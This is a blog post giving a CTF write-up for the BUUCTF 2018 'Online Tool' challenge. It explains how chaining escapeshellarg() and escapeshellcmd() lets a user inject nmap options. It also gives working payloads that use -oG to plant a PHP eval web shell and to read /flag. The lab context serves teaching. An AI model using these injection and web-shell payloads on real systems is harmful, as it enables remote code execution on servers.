[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

打开靶机

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

前面的HTTP_X_FORWARDED_FOR和REMOTE_ADDR是服务器用来获取ip的

然后就是传host的参数

主要就是escapeshellarg(),escapeshellcmd()这两个函数

1.如果传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellarg()这个函数处理之后会变成'172.17.0.2'\'' -v -d a=1'因为中间的那个单引号会被转义,然后再用单引号将左右两部分包括起来

3.再经过escapeshellcmd()这个函数处理之后会变成'172.17.0.2'\\'' -v -d a=1\'因为这个函数对中间的那个\进行了转义,这样之后,原来中间的两个引号就会闭合,然后对最后那个没有匹配的单引号也会进行转义

4.最后的命令就会变为'172.17.0.2'\\'' -v -d a=1\'就相当于是172.17.0.2\ -v -d a=1'因为中间有两个,一个是转义符,一个被转义了。即最终是向172.17.0.2\发起请求,POST 数据为a=1'

可以看到刚开始的请求是172.17.0.2,但是经过两个函数处理之后就变成了172.17.0.2\,说明这样两次转义之后是会出问题的

再看到最后一句echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

很明显最终的目的就是要通过这个system函数来执行命令

我们看看各个nmap参数的含义

-T<0-5>:设置时序模块,越高越快

-sS/sT/sA/sW/sM:使用SYN、TCP、ACK、Window、Maimon来进行扫描

S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放
T是全连接扫描会和服务器建立完整的三次握手,效率低
A发送ACK报文,通过服务器响应来判断是否开放,有的服务器不开会回复ICMP端口不可达,当回复RST时表示可能被拦截或者端口开放,不是一个准确的判断条件
W 是窗口扫描,发出的报文和ACK一样,利用的是在某些系统中如果端口开放,收到ACK包后会响应一个窗口非0的RST包
M是Maimon扫描,使用发现者的名字命名。其原理是向目标服务器发送FIN/ACK 报文,在某些系统中如果端口开放则会丢弃该报文不做响应,如果端口关闭则回复RST或者ICMP,Nmap可借此判断服务器端口的开放情况

-Pn 将所有主机都默认为在线,跳过主机发现

--host-timeout <milliseconds> (放弃低速目标主机)

-F 快速模式,扫描比默认端口数量更少的端口

这里的代码大概的意思就是要我们传入一个IP进行扫描,并且我们的输入会被单引号括起来,然后通过上面两个函数进行转义过滤

但因为上面的解析我们发现这两个函数的处理是存在问题的

这里可以利用nmap的命令来做一些事

有一个参数-oG可以将命令和结果写到同一个文件上

可以直接传一句话木马

?host=' <?php @eval($_POST["cmd"]);?> -oG test.php '

要注意的是最前面引号后有一个空格,和最后面引号前有一个空格

image-20220810211756850

这样传参之后,中间会给你文件地址

然后直接蚁剑连接

image-20220810211914437

在根目录下存在flag文件

image-20220810211935555

还有一种做法就是直接把命令改成读取flag文件

?host=' <?php echo `cat /flag`;?> -oG test.php '

然后再去访问那个上面提供的那个文件

http://2e6f989e-2948-44b1-bf0f-c41faa5883fc.node4.buuoj.cn:81/7c0df9bdb25c772c01868f0254c797bb/test.php

image-20220810212420647

如果后面没有加引号,在传文件之后,文件名后会多一个引号

?host=' <?php @eval($_POST["cmd"]);?> -oG test.php

因为先经过escapeshellarg()这个函数处理,先会对前面的单引号进行转义,然后再把前面和后面的内容用单引号括起来连接,因为原本这个单引号前面没有内容,所以前面只会多一对单引号

?host=''\'' <?php @eval($_POST["cmd"]);?> -oG test.php'

然后再经escapeshellcmd()函数处理,escapeshellcmd对\以及最后那个不配对儿的引号进行了转义,还会对这些字符进行转义:

#&;`,|*?~<>^()[]{}$\。:

?host=''\\'' \<\?php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php\'

所以最后会多一个单引号

但如果加了引号,但是最后一个引号前面没有加空格,那样文件名后面会多双斜杠

?host=' <?php @eval($_POST["cmd"]);?> -oG test.php'

结果就是这样

''\\'' \<\?\php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php'\\'''

image-20220810231849111

参考链接:https://paper.seebug.org/164/

https://www.cnblogs.com/zzjdbk/p/13675394.html

https://blog.csdn.net/qq_26406447/article/details/100711933

posted @ 2022-08-10 23:30  Jinx8823  阅读(295)  评论(1编辑  收藏  举报